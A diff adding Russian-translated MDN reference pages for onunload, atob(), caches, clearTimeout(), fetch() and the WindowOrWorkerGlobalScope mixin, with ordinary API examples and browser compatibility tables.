+++ b/files/ru/web/api/windoweventhandlers/onunload/index.html
@@ -0,0 +1,106 @@
+---
+title: WindowEventHandlers.onunload
+slug: Web/API/WindowEventHandlers/onunload
+translation_of: Web/API/WindowEventHandlers/onunload
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Событие <code>unload</code> возникает когда window выгружает своё содержимое и ресурсы. Удаление ресурсов происходит <em>после</em> возникновения события <code>unload</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="eval">window.onunload = <em>funcRef</em>;
+</pre>
+
+<ul>
+ <li><code>funcRef</code> ссылка на функцию.</li>
+</ul>
+
+<h2 id="Примечание">Примечание</h2>
+
+<p>Using this event handler in your page prevents Firefox 1.5 from caching the page in the in-memory bfcache. Смотрите <a href="/En/Using_Firefox_1.5_caching" title="En/Using_Firefox_1.5_caching">Использование кеширования в  Firefox 1.5</a> для получения более детальной информации.</p>
+
+<p>Браузеры, оснащённые бокировщиками всплывающих окон будут игнорировать все вызовы метода <code>window.open()</code> внутри функции обработчика события <code>onunload</code>.</p>
+
+<p>You <em>can</em> and <em>should</em> handle this event through {{domxref("EventTarget.addEventListener","window.addEventListener()")}} and the {{event("unload")}} event. More documentation is available there.</p>
+
+<h2 id="Cпецификации">Cпецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#windoweventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#windoweventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#windoweventhandlers", "GlobalEventHandlers")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Поддержка_браузерами">Поддержка браузерами</h3>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">Базовая поддержка</span></td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/windoworworkerglobalscope/atob/index.html b/files/ru/web/api/windoworworkerglobalscope/atob/index.html
new file mode 100644
index 0000000000..57f01ea5a9
--- /dev/null
+++ b/files/ru/web/api/windoworworkerglobalscope/atob/index.html
@@ -0,0 +1,129 @@
+---
+title: WindowOrWorkerGlobalScope.atob()
+slug: Web/API/WindowOrWorkerGlobalScope/atob
+translation_of: Web/API/WindowOrWorkerGlobalScope/atob
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>Функция <strong><code>WindowOrWorkerGlobalScope.atob()</code></strong> декодирует строку данных, которая была закодированa с использованием  base-64. Вы можете использовать метод {{domxref("WindowOrWorkerGlobalScope.btoa","btoa()")}}, чтобы декодировать и передать данные, которые в исходном виде могут вызвать проблемы  передачи, затем отправить их, и использовать метод <code>atob()</code> чтобы декодировать данны снова. Например, вы можете закодировать, передать, и декодировать управляющие символы, такие как ASCII значения от 0 до 31.</p>
+
+<p>В случаях использования с Unicode или UTF-8 строками, смотрите <a href="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding#The_.22Unicode_Problem.22">this note at Base64 encoding and decoding</a> и <a href="/en-US/docs/Web/API/window.btoa#Unicode_Strings">this note at <code>btoa()</code></a>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var decodedData = scope.atob(<em>encodedData</em>);</pre>
+
+<h3 id="Throws">Throws</h3>
+
+<p>Выбрасывает {{jsxref("DOMException")}}, если длина переданной строки не кратна 4.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush:js">var encodedData = window.btoa('Hello, world'); // кодирует строку
+var decodedData = window.atob(encodedData); // декодирует строку</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webappapis.html#dom-btoa', 'WindowOrWorkerGlobalScope.atob()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Method moved to the <code>WindowOrWorkerGlobalScope</code> mixin in the latest spec.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-windowbase64-atob', 'WindowBase64.atob()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change since the latest snapshot, {{SpecName("HTML5.1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#dom-windowbase64-atob', 'WindowBase64.atob()')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#dom-windowbase64-atob", "WindowBase64.atob()")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. Creation of <code>WindowBase64</code> (properties were on the target before it).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1)}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop(27)}}<sup>[2]</sup><br>
+    {{CompatGeckoDesktop(52)}}<sup>[3]</sup></td>
+   <td>10</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1)}}<br>
+    {{CompatGeckoDesktop(52)}}<sup>[3]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] <code>atob()</code> is also available to XPCOM components implemented in JavaScript, even though <code><a href="/en-US/docs/Web/API/Window">window</a></code> is not the global object in components.</p>
+
+<p>[2] Начиная с <a href="/en-US/Firefox/Releases/27/Site_Compatibility">Firefox 27</a>, <code>atob()</code> игнорирует все символы пробелов в аргументе, чтобы соответствовать последним  HTML5 спецификациям (смотри {{bug(711180)}}).</p>
+
+<p>[3] <code>atob()</code> теперь определен в  миксине {{domxref("WindowOrWorkerGlobalScope")}}.</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li><a href="/Web/API/WindowBase64/Base64_encoding_and_decoding">Base64 encoding and decoding</a></li>
+ <li><a href="/en-US/docs/data_URIs"><code>data</code> URIs</a></li>
+ <li>{{domxref("WindowOrWorkerGlobalScope.btoa","window.btoa()")}}</li>
+ <li><a href="/en-US/docs/Components.utils.importGlobalProperties">Components.utils.importGlobalProperties</a></li>
+</ul>
diff --git a/files/ru/web/api/windoworworkerglobalscope/caches/index.html b/files/ru/web/api/windoworworkerglobalscope/caches/index.html
new file mode 100644
index 0000000000..c20691d264
--- /dev/null
+++ b/files/ru/web/api/windoworworkerglobalscope/caches/index.html
@@ -0,0 +1,79 @@
+---
+title: WindowOrWorkerGlobalScope.caches
+slug: Web/API/WindowOrWorkerGlobalScope/caches
+translation_of: Web/API/WindowOrWorkerGlobalScope/caches
+---
+<div>{{APIRef()}}{{SeeCompatTable}}</div>
+
+<p><code><strong>caches</strong></code> {{domxref("WindowOrWorkerGlobalScope")}}  свойство только для чтения интерфейса возвращающее  объект ассоциированный с текущим контекстом {{domxref("CacheStorage")}}.</p>
+
+<p>Этот объект реализует такую  функциональность как строгое соответсвие для оффлайн использования  и генерирование пользовательских ответов на запросы.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">var <em>myCacheStorage</em> = self.caches; // or just caches
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Возвращает значение {{domxref("CacheStorage")}} .</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Данный пример показывает как надо использовать кеш в контексте <a href="/en-US/docs/Web/API/Service_Worker_API">service worker</a> для хранения в автономном режиме</p>
+
+<pre class="brush: js notranslate">this.addEventListener('install', function(event) {
+  event.waitUntil(
+    caches.open('v1').then(function(cache) {
+      return cache.addAll([
+        '/sw-test/',
+        '/sw-test/index.html',
+        '/sw-test/style.css',
+        '/sw-test/app.js',
+        '/sw-test/image-list.js',
+        '/sw-test/star-wars-logo.jpg',
+        '/sw-test/gallery/',
+        '/sw-test/gallery/bountyHunters.jpg',
+        '/sw-test/gallery/myLittleVader.jpg',
+        '/sw-test/gallery/snowTroopers.jpg'
+      ]);
+    })
+  );
+});</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#self-caches', 'caches')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Обьявлена частичная поддержка в новейшей спецификации <code>WindowOrWorkerGlobalScope</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.WindowOrWorkerGlobalScope.caches")}}</p>
+
+<h2 id="Также_смотрите">Также смотрите</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">Service Workers</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a></li>
+ <li>{{domxref("CacheStorage")}}</li>
+ <li>{{domxref("Cache")}}</li>
+</ul>
diff --git a/files/ru/web/api/windoworworkerglobalscope/cleartimeout/index.html b/files/ru/web/api/windoworworkerglobalscope/cleartimeout/index.html
new file mode 100644
index 0000000000..d783f16a26
--- /dev/null
+++ b/files/ru/web/api/windoworworkerglobalscope/cleartimeout/index.html
@@ -0,0 +1,94 @@
+---
+title: WindowOrWorkerGlobalScope.clearTimeout()
+slug: Web/API/WindowOrWorkerGlobalScope/clearTimeout
+translation_of: Web/API/WindowOrWorkerGlobalScope/clearTimeout
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><strong><code>clearTimeout()</code></strong> метод {{domxref("WindowOrWorkerGlobalScope")}} отменяет таймаут, ранее установленный вызовом {{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><em>scope</em>.clearTimeout(<em>timeoutID</em>)
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code><em>timeoutID</em></code></dt>
+ <dd></dd>
+ <dd>Идентификатор таймаута, который вы хотите отменить. Этот идентификатор был возвращен соответствующим вызовом <code>setTimeout()</code>.</dd>
+</dl>
+
+<p>It's worth noting that the pool of IDs used by {{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}} and {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}} are shared, which means you can technically use <code>clearTimeout()</code> and {{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}} interchangeably. However, for clarity, you should avoid doing so.</p>
+
+<h2 id="Example" name="Example">Пример использования:</h2>
+
+<p>Запустите приведенный ниже скрипт в контекте веб-страницы и кликните один раз. Вы увидите всплывающее сообщение через 1 секунду. Если вы щелкните страницу несколько раз за одну секунду, предупреждение появится только один раз.</p>
+
+<pre class="brush: js notranslate">var alarm = {
+  remind: function(aMessage) {
+    alert(aMessage);
+    this.timeoutID = undefined;
+  },
+
+  setup: function() {
+    if (typeof this.timeoutID === 'number') {
+      this.cancel();
+    }
+
+    this.timeoutID = window.setTimeout(function(msg) {
+      this.remind(msg);
+    }.bind(this), 1000, 'Wake up!');
+  },
+
+  cancel: function() {
+    window.clearTimeout(this.timeoutID);
+  }
+};
+window.onclick = function() { alarm.setup(); };
+</pre>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p>Передача недействительного ID <code>clearTimeout()</code> ни к чему не приведет. Исключение не создается.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webappapis.html#dom-cleartimeout', 'WindowOrWorkerGlobalScope.clearTimeout()')}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Method moved to the <code>WindowOrWorkerGlobalScope</code> mixin in the latest spec.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webappapis.html#dom-cleartimeout', 'clearTimeout()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+
+
+<p>{{Compat("api.WindowOrWorkerGlobalScope.clearTimeout")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}</li>
+ <li>{{domxref("WindowOrWorkerGlobalScope.setInterval()")}}</li>
+ <li>{{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}</li>
+ <li>{{domxref("Window.requestAnimationFrame()")}}</li>
+ <li><a href="/en-US/docs/JavaScript/Timers/Daemons" title="JavaScript/Timers/Daemons"><em>Daemons</em> management</a></li>
+</ul>
diff --git a/files/ru/web/api/windoworworkerglobalscope/fetch/index.html b/files/ru/web/api/windoworworkerglobalscope/fetch/index.html
new file mode 100644
index 0000000000..886c2fa849
--- /dev/null
+++ b/files/ru/web/api/windoworworkerglobalscope/fetch/index.html
@@ -0,0 +1,171 @@
+---
+title: WindowOrWorkerGlobalScope.fetch()
+slug: Web/API/WindowOrWorkerGlobalScope/fetch
+tags:
+  - Справка
+  - запрос
+  - метод
+translation_of: Web/API/WindowOrWorkerGlobalScope/fetch
+---
+<div>{{APIRef("Fetch API")}}</div>
+
+<p>Метод <code><strong>fetch()</strong></code> , относящийся к миксину {{domxref("WindowOrWorkerGlobalScope")}}, запускает процесс извлечения ресурса из сети. Возвращает promise, содержащий {{domxref("Response")}} объект (ответ на запрос).</p>
+
+<p><code>WorkerOrGlobalScope</code> относится к {{domxref("Window")}} и {{domxref("WorkerGlobalScope")}} сразу. Это означает, что метод <code>fetch()</code> доступен практически в любом контексте, в котором бы вы не захотели получить ресурсы.</p>
+
+<p>{{domxref("WindowOrWorkerGlobalScope.fetch","Fetch()")}} promise (обещание) завершается {{jsxref("TypeError")}}, если возникает сетевая ошибка, хотя обычно это означает проблему с доступами или аналогичную ей. Для успешного завершения <code>fetch()</code> достаточно удостовериться в том, что обещание выполнено и что свойство {{domxref("Response.ok")}} имеет значение <code>true</code>. HTTP статус 404 не является сетевой ошибкой.</p>
+
+<p>Метод <code>fetch()</code> контролируется директивой <code>connect-src</code> directive of <a href="/en-US/docs/Security/CSP/CSP_policy_directives">Content Security Policy</a> (политика безопасности контента), а не директивой ресурсов, которые извлекает.</p>
+
+<div class="note">
+<p><strong>На Заметку</strong>: Аргументы метода <code>fetch()</code> идентичны аргументам {{domxref("Request.Request","Request()")}} конструктора.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Promise&lt;Response&gt; fetch(input[, init]);</pre>
+
+<h3 id="Аргументы">Аргументы</h3>
+
+<dl>
+ <dt><em>input</em></dt>
+ <dd>Определяет желаемый для получения ресурс. Это может быть:
+ <ul>
+  <li>{{domxref("USVString")}} (строка), содержащая прямую URL ссылку на ресурс. Некоторые браузеры принимают <code>blob:</code> и <code>data:</code> , как схемы.</li>
+  <li>{{domxref("Request")}} объект (объект ответа).</li>
+ </ul>
+ </dd>
+ <dt><em>init</em> {{optional_inline}}</dt>
+ <dd>Объект с опциями, содержащий пользовательские настройки, которые вы желаете применить к запросу. Возможные варианты:
+ <ul>
+  <li><code>method</code>: Метод запроса, например, <code>GET</code>, <code>POST</code>.</li>
+  <li><code>headers</code>: Заголовки, содержащиеся в объекте {{domxref("Headers")}} или в объекте литерале с побитовыми значениями ({{domxref("ByteString")}}).</li>
+  <li><code>body</code>: Тело запроса, которое может быть: {{domxref("Blob")}}, {{domxref("BufferSource")}}, {{domxref("FormData")}}, {{domxref("URLSearchParams")}}, или {{domxref("USVString")}} объектами. Обратите внимание, что <code>GET</code> или <code>HEAD</code> запрос не может иметь тела.</li>
+  <li><code>mode</code>: Режим, например, <code>cors</code>, <code>no-cors</code> или <code>same-origin</code>.</li>
+  <li><code>credentials</code>: Полномочия: <code>omit</code>, <code>same-origin</code> или <code>include</code>. Для автоматической отправки куки для текущего домена, эта опция должна быть указана. Начиная с Chrome 50, это свойство также принимает экземпляр класса {{domxref("FederatedCredential")}} или  {{domxref("PasswordCredential")}}.</li>
+  <li><code>cache</code>: Режим кэширования запроса <code>default</code>, <code>no-store</code>, <code>reload</code>, <code>no-cache</code>, <code>force-cache</code> или <code>only-if-cached</code>.</li>
+  <li><code>redirect</code>: Режим редиректа: <code>follow</code> (автоматически переадресовывать), <code>error</code> (прерывать перенаправление ошибкой) или <code>manual</code> (управлять перенаправлениями вручную). В Chrome по дефолту стоит <code>follow</code> (ранее, в Chrome 47, стояло <code>manual</code>).</li>
+  <li><code>referrer</code>: {{domxref("USVString")}}, определяющая <code>no-referrer</code>, <code>client</code> или a URL. Дефолтное значение - <code>client</code>.</li>
+  <li><code>referrerPolicy</code>: Определяет значение HTTP заголовка реферера. Может быть: <code>no-referrer</code>, <code>no-referrer-when-downgrade</code>, <code>origin</code>, <code>origin-when-cross-origin</code>, <code>unsafe-url</code>.</li>
+  <li><code>integrity</code>: Содержит значение целостности субресурсов (<a href="/en-US/docs/Web/Security/Subresource_Integrity">subresource integrity</a>) запроса (например, <code>sha256-BpfBw7ivV8q2jLiT13fxDYAe2tJllusRSZ273h2nFSE=</code>).</li>
+  <li><code>keepalive</code>: Эта опция может быть использована, чтобы разрешить запросу "пережить" страницу. Получение ресурсов с флагом <code>keepalive</code> - это альтернатива {{domxref("Navigator.sendBeacon()")}} API. </li>
+  <li><code>signal</code>: Экзмепляр объекта {{domxref("AbortSignal")}}; позволяет коммуницировать с fetch запросом и, если нужно, отменять его с помощью {{domxref("AbortController")}}.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{domxref("Promise")}}, содержащий {{domxref("Response")}} объект (ответ на запрос).</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"><strong>Тип</strong></th>
+   <th scope="col"><strong>Описание</strong></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>AbortError</code></td>
+   <td>Запрос был отменен (используя {{domxref("AbortController.abort()")}}).</td>
+  </tr>
+  <tr>
+   <td><code>TypeError</code></td>
+   <td>Начиная с версии <a href="/en-US/docs/Mozilla/Firefox/Releases/43">Firefox 43</a>, <code>fetch()</code> завершится ошибкой <code>TypeError</code>, если URL имеет такие полномочия, как <code>http://user:password@example.com</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В нашем <a href="https://github.com/mdn/fetch-examples/tree/master/fetch-request">Fetch Request примере</a> (см. <a href="https://mdn.github.io/fetch-examples/fetch-request/">Fetch Request live</a>) мы создаем новый объект {{domxref("Request")}} (запроса), используя релевантный конструктор, а затем получаем его вызовом <code>fetch()</code>. Так как запрашиваемый ресурс - изображение, для того, чтобы присвоить ему подходящий MIME тип и обработать должным образом, мы применяем к ответу метод {{domxref("Body.blob()")}}, после чего создаем для него Object URL и передаем ее в элемент {{htmlelement("img")}}.</p>
+
+<pre class="brush: js">var myImage = document.querySelector('img');
+
+var myRequest = new Request('flowers.jpg');
+
+fetch(myRequest).then(function(response) {
+  return response.blob();
+}).then(function(response) {
+  var objectURL = URL.createObjectURL(response);
+  myImage.src = objectURL;
+});</pre>
+
+<p>В нашем <a href="https://github.com/mdn/fetch-examples/blob/master/fetch-with-init-then-request/index.html">Fetch with init then Request примере</a> (см. <a href="https://mdn.github.io/fetch-examples/fetch-with-init-then-request/">Fetch Request init live</a>) мы делаем тоже самое, за исключением того, что передаем в качестве аргумента для <code>fetch()</code> объект init:</p>
+
+<pre class="brush: js">var myImage = document.querySelector('img');
+
+var myHeaders = new Headers();
+myHeaders.append('Content-Type', 'image/jpeg');
+
+var myInit = { method: 'GET',
+               headers: myHeaders,
+               mode: 'cors',
+               cache: 'default' };
+
+var myRequest = new Request('flowers.jpg');
+
+fetch(myRequest,myInit).then(function(response) {
+  ...
+});</pre>
+
+<p>Обратите внимание, что объект init в качестве аргумента можно передать и в конструктор <code>Request</code> для получения аналогичного результата, например:</p>
+
+<pre class="brush: js">var myRequest = new Request('flowers.jpg', myInit);</pre>
+
+<p>Допустимо использования объекта литерала в качестве <code>headers</code> в <code>init</code>.</p>
+
+<pre class="brush: js">var myInit = { method: 'GET',
+               headers: {
+                   'Content-Type': 'image/jpeg'
+               },
+               mode: 'cors',
+               cache: 'default' };
+
+var myRequest = new Request('flowers.jpg', myInit);
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#fetch-method','fetch()')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Частично определена в новейшей спецификации <code>WindowOrWorkerGlobalScope</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#dom-global-fetch','fetch()')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Credential Management')}}</td>
+   <td>{{Spec2('Credential Management')}}</td>
+   <td>Добавлена возможность установить экземпляр класса {{domxref("FederatedCredential")}} или {{domxref("PasswordCredential")}} как возможное значение для <code>init.credentials</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице была создана из структурированных данных. Если вы желаете поспособствовать, пожалуйста проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div>
+
+<p>{{Compat("api.WindowOrWorkerGlobalScope.fetch")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/ru/web/api/windoworworkerglobalscope/index.html b/files/ru/web/api/windoworworkerglobalscope/index.html
new file mode 100644
index 0000000000..8f38321cb1
--- /dev/null
+++ b/files/ru/web/api/windoworworkerglobalscope/index.html
@@ -0,0 +1,187 @@
+---
+title: WindowOrWorkerGlobalScope
+slug: Web/API/WindowOrWorkerGlobalScope
+tags:
+  - API
+  - DOM
+  - DOM API
+  - NeedsTranslation
+  - Service Worker
+  - TopicStub
+  - Window
+  - WindowOrWorkerGlobalScope
+  - Worker
+  - WorkerGlobalScope
+translation_of: Web/API/WindowOrWorkerGlobalScope
+---
+<div>{{ApiRef()}}</div>
+
+<p>Миксин <strong><code>WindowOrWorkerGlobalScope</code></strong> описывает несколько функций, общих для интерфейсов {{domxref("Window")}} и {{domxref("WorkerGlobalScope")}} . Каждый из этих интерфейсов, конечно же, может добавить больше возможностей в дополнение к перечисленным ниже.</p>
+
+<div class="note">
+<p><strong>Замечание: WindowOrWorkerGlobalScope - это миксин, а не интерфейс; на самом деле вы не можете создать объект типа WindowOrWorkerGlobalScope.</strong></p>
+</div>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p>Эти свойства определены в миксине {{domxref("WindowOrWorkerGlobalScope")}} и реализованы с помощью {{domxref("Window")}} и {{domxref("WorkerGlobalScope")}}.</p>
+
+<div id="Properties">
+<dl>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.caches")}} {{readOnlyinline}}</dt>
+ <dd>Возвращает объект {{domxref("CacheStorage")}}, связанный с текущим контекстом. Данный объект включает в себя такие функциональные возможности, как хранение активов для использования в автономном режиме, а также генерацию пользовательских ответов на запросы.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.indexedDB")}} {{readonlyInline}}</dt>
+ <dd>Предоставляет механизм асинхронного доступа приложений к возможностям индексируемых баз данных; возвращает объект {{domxref("IDBFactory")}}.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.isSecureContext")}} {{readOnlyinline}}</dt>
+ <dd>Возвращает логический ключ, указывающий, является ли текущий контекст безопасным (true) или нет (false).</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.origin")}} {{readOnlyinline}}</dt>
+ <dd>Возвращает происхождение глобального диапазона, сериализованного в виде строки.</dd>
+</dl>
+</div>
+
+<h2 id="Методы">Методы</h2>
+
+<p>Эти свойства определены на смеси {{domxref("WindowOrWorkerGlobalScope")}} и реализованы с помощью {{domxref("Window")}} и {{domxref("WorkerGlobalScope")}}.</p>
+
+<dl>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.atob()")}}</dt>
+ <dd>Декодирует строку данных, которая была закодирована с использованием кодировки base-64.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.btoa()")}}</dt>
+ <dd>Создает ASCII строку в кодировке base-64 из строки бинарных данных.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}</dt>
+ <dd>Отменяет набор для повторного выполнения, используя {{domxref("WindowOrWorkerGlobalScope.setInterval()")}}.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.clearTimeout()")}}</dt>
+ <dd>Отменяет набор отложенного исполнения, используя {{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.createImageBitmap()")}}</dt>
+ <dd>Принимает различные источники изображений и возвращает {{domxref(" Promise")}}, который преобразуется в {{domxref("ImageBitmap")}}. Опционально источник обрезается до прямоугольника пикселей, происходящих от (sx, sy) с шириной sw и высотой sh.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.fetch()")}}</dt>
+ <dd>Запускает процесс извлечения ресурса из сети.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.setInterval()")}}</dt>
+ <dd>Планирует функцию, которая будет выполняться каждый раз по истечении заданного числа миллисекунд.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}</dt>
+ <dd>Планирует функцию для выполнения в заданное время.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
